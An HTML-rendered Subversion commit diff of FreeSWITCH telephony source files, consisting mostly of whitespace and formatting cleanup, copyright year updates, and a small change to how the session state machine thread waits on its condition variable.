</del><ins>+        "CREATE TABLE aliases (\n" " sticky INTEGER,\n" " alias VARCHAR(128),\n" " command VARCHAR(4096),\n" " hostname VARCHAR(256)\n" ");\n";
</ins><span class="cx">
</span><span class="cx"> static char create_channels_sql[] =
</span><span class="cx">         "CREATE TABLE channels (\n"
</span><span class="lines">@@ -1189,15 +1173,13 @@
</span><span class="cx">         " application_data VARCHAR(4096),\n"
</span><span class="cx">         " dialplan VARCHAR(128),\n"
</span><span class="cx">         " context VARCHAR(128),\n"
</span><del>-        " read_codec VARCHAR(128),\n"
-        " read_rate VARCHAR(32),\n"
-        " write_codec VARCHAR(128),\n"
-        " write_rate VARCHAR(32),\n"
</del><ins>+        " read_codec VARCHAR(128),\n"
+        " read_rate VARCHAR(32),\n"
+        " write_codec VARCHAR(128),\n"
+        " write_rate VARCHAR(32),\n"
</ins><span class="cx">         " secure VARCHAR(32),\n"
</span><del>-        " hostname VARCHAR(256),\n"
-        " presence_id VARCHAR(4096),\n"
-        " presence_data VARCHAR(4096)\n"
-        ");\ncreate index uuindex on channels (uuid,hostname);\n";
</del><ins>+        " hostname VARCHAR(256),\n"
+        " presence_id VARCHAR(4096),\n" " presence_data VARCHAR(4096)\n" ");\ncreate index uuindex on channels (uuid,hostname);\n";
</ins><span class="cx"> static char create_calls_sql[] =
</span><span class="cx">         "CREATE TABLE calls (\n"
</span><span class="cx">         " call_created VARCHAR(128),\n"
</span><span class="lines">@@ -1210,38 +1192,25 @@
</span><span class="cx">         " caller_uuid VARCHAR(256),\n"
</span><span class="cx">         " callee_cid_name VARCHAR(1024),\n"
</span><span class="cx">         " callee_cid_num VARCHAR(256),\n"
</span><del>-        " callee_dest_num VARCHAR(256),\n"
-        " callee_chan_name VARCHAR(1024),\n"
-        " callee_uuid VARCHAR(256),\n"
-        " hostname VARCHAR(256)\n"
-        ");\n"
-        "create index eruuindex on calls (caller_uuid,hostname);\n"
-        "create index eeuuindex on calls (callee_uuid,hostname);\n";
</del><ins>+        " callee_dest_num VARCHAR(256),\n"
+        " callee_chan_name VARCHAR(1024),\n"
+        " callee_uuid VARCHAR(256),\n"
+        " hostname VARCHAR(256)\n"
+        ");\n" "create index eruuindex on calls (caller_uuid,hostname);\n" "create index eeuuindex on calls (callee_uuid,hostname);\n";
</ins><span class="cx"> static char create_interfaces_sql[] =
</span><span class="cx">         "CREATE TABLE interfaces (\n"
</span><span class="cx">         " type VARCHAR(128),\n"
</span><del>-        " name VARCHAR(1024),\n"
-        " description VARCHAR(4096),\n"
-        " ikey VARCHAR(1024),\n"
-        " filename VARCHAR(4096),\n"
-        " syntax VARCHAR(4096),\n"
-        " hostname VARCHAR(256)\n"
-        ");\n";
</del><ins>+        " name VARCHAR(1024),\n"
+        " description VARCHAR(4096),\n"
+        " ikey VARCHAR(1024),\n"
+        " filename VARCHAR(4096),\n" " syntax VARCHAR(4096),\n" " hostname VARCHAR(256)\n" ");\n";
</ins><span class="cx"> static char create_tasks_sql[] =
</span><span class="cx">         "CREATE TABLE tasks (\n"
</span><span class="cx">         " task_id INTEGER,\n"
</span><del>-        " task_desc VARCHAR(4096),\n"
-        " task_group VARCHAR(1024),\n"
-        " task_sql_manager INTEGER,\n"
-        " hostname VARCHAR(256)\n"
-        ");\n";
-static char create_nat_sql[] =
-        "CREATE TABLE nat (\n"
-        " sticky INTEGER,\n"
-        "        port        INTEGER,\n"
-        "        proto        INTEGER,\n"
-        " hostname VARCHAR(256)\n"
-        ");\n";
</del><ins>+        " task_desc VARCHAR(4096),\n"
+        " task_group VARCHAR(1024),\n" " task_sql_manager INTEGER,\n" " hostname VARCHAR(256)\n" ");\n";
+static char create_nat_sql[] =
+        "CREATE TABLE nat (\n" " sticky INTEGER,\n" "        port        INTEGER,\n" "        proto        INTEGER,\n" " hostname VARCHAR(256)\n" ");\n";
</ins><span class="cx">
</span><span class="cx"> switch_status_t switch_core_sqldb_start(switch_memory_pool_t *pool, switch_bool_t manage)
</span><span class="cx"> {
</span><span class="lines">@@ -1250,14 +1219,14 @@
</span><span class="cx">
</span><span class="cx">         sql_manager.memory_pool = pool;
</span><span class="cx">         sql_manager.manage = manage;
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_mutex_init(&sql_manager.dbh_mutex, SWITCH_MUTEX_NESTED, sql_manager.memory_pool);
</span><span class="cx">         switch_mutex_init(&sql_manager.io_mutex, SWITCH_MUTEX_NESTED, sql_manager.memory_pool);
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_core_hash_init(&sql_manager.dbh_hash, sql_manager.memory_pool);
</span><span class="cx">
</span><del>- top:
-        
</del><ins>+ top:
+
</ins><span class="cx">         /* Activate SQL database */
</span><span class="cx">         if (switch_core_db_handle(&dbh) != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Error Opening DB!\n");
</span><span class="lines">@@ -1275,18 +1244,18 @@
</span><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><span class="cx">         }
</span><span class="cx">
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "Opening DB\n");
</span><span class="cx">
</span><span class="cx">         switch (dbh->type) {
</span><span class="cx">         case SCDB_TYPE_ODBC:
</span><span class="cx">                 {
</span><span class="cx">                         char sql[512] = "";
</span><del>-                        char *tables[] = {"channels", "calls", "interfaces", "tasks", NULL};
</del><ins>+                        char *tables[] = { "channels", "calls", "interfaces", "tasks", NULL };
</ins><span class="cx">                         int i;
</span><span class="cx">                         const char *hostname = switch_core_get_variable("hostname");
</span><span class="cx">
</span><del>-                        for(i = 0; tables[i]; i++) {
</del><ins>+                        for (i = 0; tables[i]; i++) {
</ins><span class="cx">                                 switch_snprintf(sql, sizeof(sql), "delete from %s where hostname='%s'", tables[i], hostname);
</span><span class="cx">                                 switch_cache_db_execute_sql(dbh, sql, NULL);
</span><span class="cx">                         }
</span><span class="lines">@@ -1306,7 +1275,7 @@
</span><span class="cx">                 break;
</span><span class="cx">         }
</span><span class="cx">
</span><del>-                
</del><ins>+
</ins><span class="cx">         switch_cache_db_test_reactive(dbh, "select hostname from complete", "DROP TABLE complete", create_complete_sql);
</span><span class="cx">         switch_cache_db_test_reactive(dbh, "select hostname from aliases", "DROP TABLE aliases", create_alias_sql);
</span><span class="cx">         switch_cache_db_test_reactive(dbh, "select hostname from nat", "DROP TABLE nat", create_nat_sql);
</span><span class="lines">@@ -1320,9 +1289,9 @@
</span><span class="cx">                         switch_cache_db_test_reactive(dbh, "select hostname from calls", "DROP TABLE calls", create_calls_sql);
</span><span class="cx">                         switch_cache_db_test_reactive(dbh, "select ikey from interfaces", "DROP TABLE interfaces", create_interfaces_sql);
</span><span class="cx">                         switch_cache_db_test_reactive(dbh, "select hostname from tasks", "DROP TABLE tasks", create_tasks_sql);
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         switch_cache_db_execute_sql(dbh, "begin;delete from channels where hostname='';delete from channels where hostname='';commit;", &err);
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (err) {
</span><span class="cx">                                 runtime.odbc_dsn = NULL;
</span><span class="cx">                                 runtime.odbc_user = NULL;
</span><span class="lines">@@ -1343,8 +1312,8 @@
</span><span class="cx">                 }
</span><span class="cx">                 break;
</span><span class="cx">         }
</span><del>-        
</del><span class="cx">
</span><ins>+
</ins><span class="cx">         switch_cache_db_execute_sql(dbh, "delete from complete where sticky=0", NULL);
</span><span class="cx">         switch_cache_db_execute_sql(dbh, "delete from aliases where sticky=0", NULL);
</span><span class="cx">         switch_cache_db_execute_sql(dbh, "delete from nat where sticky=0", NULL);
</span><span class="lines">@@ -1366,7 +1335,7 @@
</span><span class="cx">
</span><span class="cx">
</span><span class="cx">         if (sql_manager.manage) {
</span><del>-                if (switch_event_bind_removable("core_db", SWITCH_EVENT_ALL, SWITCH_EVENT_SUBCLASS_ANY,
</del><ins>+                if (switch_event_bind_removable("core_db", SWITCH_EVENT_ALL, SWITCH_EVENT_SUBCLASS_ANY,
</ins><span class="cx">                                                                                 core_event_handler, NULL, &sql_manager.event_node) != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Couldn't bind event handler!\n");
</span><span class="cx">                 }
</span><span class="lines">@@ -1382,7 +1351,7 @@
</span><span class="cx">         while (!sql_manager.thread_running) {
</span><span class="cx">                 switch_yield(10000);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_cache_db_release_db_handle(&dbh);
</span><span class="cx">
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="lines">@@ -1393,7 +1362,7 @@
</span><span class="cx">         switch_status_t st;
</span><span class="cx">
</span><span class="cx">         switch_event_unbind(&sql_manager.event_node);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (sql_manager.thread && sql_manager.thread_running) {
</span><span class="cx">
</span><span class="cx">                 if (sql_manager.manage) {
</span><span class="lines">@@ -1425,9 +1394,9 @@
</span><span class="cx">         char cleankey_str[CACHE_DB_LEN];
</span><span class="cx">         char *pos1 = NULL;
</span><span class="cx">         char *pos2 = NULL;
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_mutex_lock(sql_manager.dbh_mutex);
</span><del>-        
</del><ins>+
</ins><span class="cx">         for (hi = switch_hash_first(NULL, sql_manager.dbh_hash); hi; hi = switch_hash_next(hi)) {
</span><span class="cx">                 switch_hash_this(hi, &var, NULL, &val);
</span><span class="cx">                 key = (char *) var;
</span><span class="lines">@@ -1437,7 +1406,7 @@
</span><span class="cx">                         time_t diff = 0;
</span><span class="cx">
</span><span class="cx">                         diff = now - dbh->last_used;
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (switch_mutex_trylock(dbh->mutex) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                 switch_mutex_unlock(dbh->mutex);
</span><span class="cx">                                 locked = SWITCH_FALSE;
</span><span class="lines">@@ -1449,19 +1418,17 @@
</span><span class="cx">                         memset(cleankey_str, 0, sizeof(cleankey_str));
</span><span class="cx">                         pos1 = strstr(key, needle) + strlen(needle);
</span><span class="cx">                         pos2 = strstr(pos1, "\"");
</span><del>-                        strncpy(cleankey_str, key, pos1-key);
-                        strcpy(&cleankey_str[pos1-key], pos2);
-                        
-                        
</del><ins>+                        strncpy(cleankey_str, key, pos1 - key);
+                        strcpy(&cleankey_str[pos1 - key], pos2);
+
+
</ins><span class="cx">                         stream->write_function(stream, "%s\n\tType: %s\n\tLast used: %d\n\tFlags: %s, %s\n"
</span><del>-                                                                                        "\tCreator: %s\n\tLast User: %s\n",
-                                cleankey_str,
-                                switch_cache_db_type_name(dbh->type),
-                                diff,
-                                locked ? "Locked" : "Unlocked",
-                                switch_test_flag(dbh, CDF_INUSE) ? "Attached" : "Detached",
-                                dbh->creator,
-                                dbh->last_user);
</del><ins>+                                                                 "\tCreator: %s\n\tLast User: %s\n",
+                                                                 cleankey_str,
+                                                                 switch_cache_db_type_name(dbh->type),
+                                                                 diff,
+                                                                 locked ? "Locked" : "Unlocked",
+                                                                 switch_test_flag(dbh, CDF_INUSE) ? "Attached" : "Detached", dbh->creator, dbh->last_user);
</ins><span class="cx">                 }
</span><span class="cx">         }
</span><span class="cx">         switch_mutex_unlock(sql_manager.dbh_mutex);
</span></span></pre></div>
<a id="freeswitchtrunksrcswitch_core_state_machinec"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/switch_core_state_machine.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/switch_core_state_machine.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/switch_core_state_machine.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span><span class="lines">@@ -57,8 +57,7 @@
</span><span class="cx"> static void switch_core_standard_on_destroy(switch_core_session_t *session)
</span><span class="cx"> {
</span><span class="cx">
</span><del>-        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%s Standard DESTROY\n",
-                                         switch_channel_get_name(session->channel));
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%s Standard DESTROY\n", switch_channel_get_name(session->channel));
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> static void switch_core_standard_on_reset(switch_core_session_t *session)
</span><span class="lines">@@ -77,11 +76,9 @@
</span><span class="cx">
</span><span class="cx">         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%s Standard ROUTING\n", switch_channel_get_name(session->channel));
</span><span class="cx">
</span><del>-        if (
-                (switch_channel_test_flag(session->channel, CF_ANSWERED) ||
</del><ins>+        if ((switch_channel_test_flag(session->channel, CF_ANSWERED) ||
</ins><span class="cx">                  switch_channel_test_flag(session->channel, CF_EARLY_MEDIA) ||
</span><del>-                 switch_channel_test_flag(session->channel, CF_SIGNAL_BRIDGE_TTL)) &&
-                switch_channel_test_flag(session->channel, CF_PROXY_MODE)) {
</del><ins>+                 switch_channel_test_flag(session->channel, CF_SIGNAL_BRIDGE_TTL)) && switch_channel_test_flag(session->channel, CF_PROXY_MODE)) {
</ins><span class="cx">                 switch_ivr_media(session->uuid_str, SMF_NONE);
</span><span class="cx">         }
</span><span class="cx">
</span><span class="lines">@@ -100,7 +97,7 @@
</span><span class="cx">                                 for (x = 0; x < argc; x++) {
</span><span class="cx">                                         char *dpname = dp[x];
</span><span class="cx">                                         char *dparg = NULL;
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         if (dpname) {
</span><span class="cx">                                                 if ((dparg = strchr(dpname, ':'))) {
</span><span class="cx">                                                         *dparg++ = '\0';
</span><span class="lines">@@ -111,12 +108,12 @@
</span><span class="cx">                                         if (!(dialplan_interface = switch_loadable_module_get_dialplan_interface(dpname))) {
</span><span class="cx">                                                 continue;
</span><span class="cx">                                         }
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         count++;
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         extension = dialplan_interface->hunt_function(session, dparg, NULL);
</span><span class="cx">                                         UNPROTECT_INTERFACE(dialplan_interface);
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         if (extension) {
</span><span class="cx">                                                 switch_channel_set_caller_extension(session->channel, extension);
</span><span class="cx">                                                 switch_channel_set_state(session->channel, CS_EXECUTE);
</span><span class="lines">@@ -129,7 +126,8 @@
</span><span class="cx">                 if (!count) {
</span><span class="cx">                         if (switch_channel_test_flag(session->channel, CF_OUTBOUND)) {
</span><span class="cx">                                 if (switch_channel_test_flag(session->channel, CF_ANSWERED)) {
</span><del>-                                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "No Dialplan on answered channel, changing state to HANGUP\n");
</del><ins>+                                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG,
+                                                                         "No Dialplan on answered channel, changing state to HANGUP\n");
</ins><span class="cx">                                         switch_channel_hangup(session->channel, SWITCH_CAUSE_NO_ROUTE_DESTINATION);
</span><span class="cx">                                 } else {
</span><span class="cx">                                         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "No Dialplan, changing state to CONSUME_MEDIA\n");
</span><span class="lines">@@ -180,11 +178,11 @@
</span><span class="cx">                 if (switch_channel_test_flag(session->channel, CF_RESET)) {
</span><span class="cx">                         goto top;
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         if (switch_channel_ready(session->channel) && switch_channel_get_state(session->channel) == CS_EXECUTE) {
</span><del>-                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_NOTICE, "%s has executed the last dialplan instruction, hanging up.\n",
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_NOTICE, "%s has executed the last dialplan instruction, hanging up.\n",
</ins><span class="cx">                                                  switch_channel_get_name(session->channel));
</span><span class="cx">                 switch_channel_hangup(session->channel, SWITCH_CAUSE_NORMAL_CLEARING);
</span><span class="cx">         }
</span><span class="lines">@@ -305,25 +303,25 @@
</span><span class="cx">         while ((state = switch_channel_get_state(session->channel)) != CS_DESTROY) {
</span><span class="cx">
</span><span class="cx">                 switch_channel_wait_for_flag(session->channel, CF_BLOCK_STATE, SWITCH_FALSE, 0, NULL);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 midstate = state;
</span><span class="cx">                 if (state != switch_channel_get_running_state(session->channel) || state >= CS_HANGUP) {
</span><span class="cx">                         int index = 0;
</span><span class="cx">                         int proceed = 1;
</span><span class="cx">                         int global_proceed = 1;
</span><span class="cx">                         int do_extra_handlers = 1;
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         switch_channel_set_running_state(session->channel, state);
</span><span class="cx">                         switch_channel_clear_flag(session->channel, CF_TRANSFER);
</span><span class="cx">                         switch_channel_clear_flag(session->channel, CF_REDIRECT);
</span><span class="cx">
</span><span class="cx">                         switch (state) {
</span><del>-                        case CS_NEW: /* Just created, Waiting for first instructions */
</del><ins>+                        case CS_NEW:                /* Just created, Waiting for first instructions */
</ins><span class="cx">                                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "(%s) State NEW\n", switch_channel_get_name(session->channel));
</span><span class="cx">                                 break;
</span><span class="cx">                         case CS_DESTROY:
</span><span class="cx">                                 goto done;
</span><del>-                        case CS_REPORTING: /* Call Detail */
</del><ins>+                        case CS_REPORTING:        /* Call Detail */
</ins><span class="cx">                                 {
</span><span class="cx">                                         switch_core_session_reporting_state(session);
</span><span class="cx">                                         switch_channel_set_state(session->channel, CS_DESTROY);
</span><span class="lines">@@ -331,7 +329,7 @@
</span><span class="cx">                                 goto done;
</span><span class="cx">                         case CS_HANGUP:        /* Deactivate and end the thread */
</span><span class="cx">                                 {
</span><del>-                                        switch_core_session_hangup_state(session, SWITCH_TRUE);                                
</del><ins>+                                        switch_core_session_hangup_state(session, SWITCH_TRUE);
</ins><span class="cx">                                         switch_channel_set_state(session->channel, CS_REPORTING);
</span><span class="cx">                                 }
</span><span class="cx">
</span><span class="lines">@@ -381,21 +379,26 @@
</span><span class="cx">                         if (endstate == CS_NEW) {
</span><span class="cx">                                 switch_cond_next();
</span><span class="cx">                                 if (!--new_loops) {
</span><del>-                                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_CRIT, "%s Timeout waiting for next instruction in CS_NEW!\n", session->uuid_str);
</del><ins>+                                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_CRIT, "%s Timeout waiting for next instruction in CS_NEW!\n",
+                                                                         session->uuid_str);
</ins><span class="cx">                                         switch_channel_hangup(session->channel, SWITCH_CAUSE_INVALID_CALL_REFERENCE);
</span><span class="cx">                                 }
</span><span class="cx">                         } else {
</span><span class="cx">                                 switch_core_session_message_t *message;
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                 while (switch_core_session_dequeue_message(session, &message) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                         switch_core_session_receive_message(session, message);
</span><span class="cx">                                         message = NULL;
</span><span class="cx">                                 }
</span><span class="cx">
</span><del>-                                switch_channel_set_flag(session->channel, CF_THREAD_SLEEPING);
-                                switch_thread_cond_wait(session->cond, session->mutex);
-                                switch_channel_clear_flag(session->channel, CF_THREAD_SLEEPING);
-                                
</del><ins>+                                if (switch_channel_get_state(session->channel) == switch_channel_get_running_state(session->channel)) {
+                                        switch_channel_set_flag(session->channel, CF_THREAD_SLEEPING);
+                                        if (switch_channel_get_state(session->channel) == switch_channel_get_running_state(session->channel)) {
+                                                switch_thread_cond_wait(session->cond, session->mutex);
+                                        }
+                                        switch_channel_clear_flag(session->channel, CF_THREAD_SLEEPING);
+                                }
+
</ins><span class="cx">                                 while (switch_core_session_dequeue_message(session, &message) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                         switch_core_session_receive_message(session, message);
</span><span class="cx">                                         message = NULL;
</span><span class="lines">@@ -432,7 +435,7 @@
</span><span class="cx">
</span><span class="cx">         driver_state_handler = endpoint_interface->state_handler;
</span><span class="cx">         switch_assert(driver_state_handler != NULL);
</span><del>-        
</del><ins>+
</ins><span class="cx">         STATE_MACRO(destroy, "DESTROY");
</span><span class="cx">
</span><span class="cx">         return;
</span><span class="lines">@@ -456,14 +459,14 @@
</span><span class="cx">         const switch_state_handler_table_t *driver_state_handler = NULL;
</span><span class="cx">         const switch_state_handler_table_t *application_state_handler = NULL;
</span><span class="cx">
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!force) {
</span><span class="cx">                 if (!switch_channel_test_flag(session->channel, CF_EARLY_HANGUP) && !switch_test_flag((&runtime), SCF_EARLY_HANGUP)) {
</span><span class="cx">                         return;
</span><span class="cx">                 }
</span><span class="cx">
</span><span class="cx">                 if (switch_thread_self() != session->thread_id) {
</span><del>-                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG10, "%s thread mismatch skipping state handler.\n",
</del><ins>+                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG10, "%s thread mismatch skipping state handler.\n",
</ins><span class="cx">                                                          switch_channel_get_name(session->channel));
</span><span class="cx">                         return;
</span><span class="cx">                 }
</span><span class="lines">@@ -484,15 +487,15 @@
</span><span class="cx">         switch_channel_set_hangup_time(session->channel);
</span><span class="cx">
</span><span class="cx">         switch_core_media_bug_remove_all(session);
</span><del>-                                
</del><ins>+
</ins><span class="cx">         switch_channel_stop_broadcast(session->channel);
</span><del>-                                        
</del><ins>+
</ins><span class="cx">         switch_channel_set_variable(session->channel, "hangup_cause", switch_channel_cause2str(cause));
</span><span class="cx">         switch_channel_set_variable_printf(session->channel, "hangup_cause_q850", "%d", cause_q850);
</span><span class="cx">         switch_channel_presence(session->channel, "unknown", switch_channel_cause2str(cause), NULL);
</span><del>-                                        
</del><ins>+
</ins><span class="cx">         switch_channel_set_timestamps(session->channel);
</span><del>-                                        
</del><ins>+
</ins><span class="cx">         STATE_MACRO(hangup, "HANGUP");
</span><span class="cx">
</span><span class="cx">         hook_var = switch_channel_get_variable(session->channel, SWITCH_API_HANGUP_HOOK_VARIABLE);
</span><span class="lines">@@ -505,8 +508,8 @@
</span><span class="cx">                 char *cmd = switch_core_session_strdup(session, hook_var);
</span><span class="cx">                 char *arg = NULL;
</span><span class="cx">                 char *expanded = NULL;
</span><del>-                                                
-                if ((arg = strchr(cmd, ':')) && *(arg+1) == ':') {
</del><ins>+
+                if ((arg = strchr(cmd, ':')) && *(arg + 1) == ':') {
</ins><span class="cx">                         *arg++ = '\0';
</span><span class="cx">                         *arg++ = '\0';
</span><span class="cx">                 } else {
</span><span class="lines">@@ -516,13 +519,13 @@
</span><span class="cx">                 }
</span><span class="cx">
</span><span class="cx">                 SWITCH_STANDARD_STREAM(stream);
</span><del>-                                                
</del><ins>+
</ins><span class="cx">                 switch_channel_get_variables(session->channel, &stream.param_event);
</span><span class="cx">                 switch_channel_event_set_data(session->channel, stream.param_event);
</span><span class="cx">                 expanded = switch_channel_expand_variables(session->channel, arg);
</span><span class="cx">
</span><span class="cx">                 switch_api_execute(cmd, expanded, use_session, &stream);
</span><del>-                                                
</del><ins>+
</ins><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Hangup Command %s(%s):\n%s\n", cmd, switch_str_nil(expanded),
</span><span class="cx">                                                  switch_str_nil((char *) stream.data));
</span><span class="cx">
</span><span class="lines">@@ -539,7 +542,7 @@
</span><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         switch_set_flag(session, SSF_HANGUP);
</span><del>-        
</del><ins>+
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> SWITCH_DECLARE(void) switch_core_session_reporting_state(switch_core_session_t *session)
</span><span class="lines">@@ -560,7 +563,7 @@
</span><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         switch_channel_set_flag(session->channel, CF_REPORTING);
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_assert(session != NULL);
</span><span class="cx">
</span><span class="cx">         session->thread_running = 1;
</span><span class="lines">@@ -569,7 +572,7 @@
</span><span class="cx">
</span><span class="cx">         driver_state_handler = endpoint_interface->state_handler;
</span><span class="cx">         switch_assert(driver_state_handler != NULL);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!zstr(var)) {
</span><span class="cx">                 if (!strcasecmp(var, "a_only")) {
</span><span class="cx">                         if (switch_channel_get_originator_caller_profile(session->channel)) {
</span><span class="lines">@@ -585,7 +588,7 @@
</span><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         STATE_MACRO(reporting, "REPORTING");
</span><del>-                                        
</del><ins>+
</ins><span class="cx">         return;
</span><span class="cx"> }
</span><span class="cx">
</span></span></pre></div>
<a id="freeswitchtrunksrcswitch_core_timerc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/switch_core_timer.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/switch_core_timer.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/switch_core_timer.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span></span></pre></div>
<a id="freeswitchtrunksrcswitch_cppcpp"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/switch_cpp.cpp (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/switch_cpp.cpp        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/switch_cpp.cpp        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span></span></pre></div>
<a id="freeswitchtrunksrcswitch_dsoc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/switch_dso.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/switch_dso.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/switch_dso.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -24,16 +24,18 @@
</span><span class="cx">
</span><span class="cx"> #ifdef WIN32
</span><span class="cx">
</span><del>-SWITCH_DECLARE(void) switch_dso_destroy(switch_dso_lib_t *lib) {
</del><ins>+SWITCH_DECLARE(void) switch_dso_destroy(switch_dso_lib_t *lib)
+{
</ins><span class="cx">         if (lib && *lib) {
</span><span class="cx">                 FreeLibrary(*lib);
</span><span class="cx">                 *lib = NULL;
</span><span class="cx">         }
</span><span class="cx"> }
</span><span class="cx">
</span><del>-SWITCH_DECLARE(switch_dso_lib_t) switch_dso_open(const char *path, int global, char **err) {
- HINSTANCE lib;
-        
</del><ins>+SWITCH_DECLARE(switch_dso_lib_t) switch_dso_open(const char *path, int global, char **err)
+{
+        HINSTANCE lib;
+
</ins><span class="cx">         lib = LoadLibraryEx(path, NULL, 0);
</span><span class="cx">
</span><span class="cx">         if (!lib) {
</span><span class="lines">@@ -48,22 +50,24 @@
</span><span class="cx">         return lib;
</span><span class="cx"> }
</span><span class="cx">
</span><del>-SWITCH_DECLARE(switch_dso_func_t) switch_dso_func_sym(switch_dso_lib_t lib, const char *sym, char **err) {
</del><ins>+SWITCH_DECLARE(switch_dso_func_t) switch_dso_func_sym(switch_dso_lib_t lib, const char *sym, char **err)
+{
</ins><span class="cx">         FARPROC func = GetProcAddress(lib, sym);
</span><span class="cx">         if (!func) {
</span><span class="cx">                 DWORD error = GetLastError();
</span><span class="cx">                 *err = switch_mprintf("dll sym error [%ul]\n", error);
</span><span class="cx">         }
</span><del>-        return (switch_dso_func_t)func;
</del><ins>+        return (switch_dso_func_t) func;
</ins><span class="cx"> }
</span><span class="cx">
</span><del>-SWITCH_DECLARE(void *) switch_dso_data_sym(switch_dso_lib_t lib, const char *sym, char **err) {
</del><ins>+SWITCH_DECLARE(void *) switch_dso_data_sym(switch_dso_lib_t lib, const char *sym, char **err)
+{
</ins><span class="cx">         FARPROC addr = GetProcAddress(lib, sym);
</span><span class="cx">         if (!addr) {
</span><span class="cx">                 DWORD error = GetLastError();
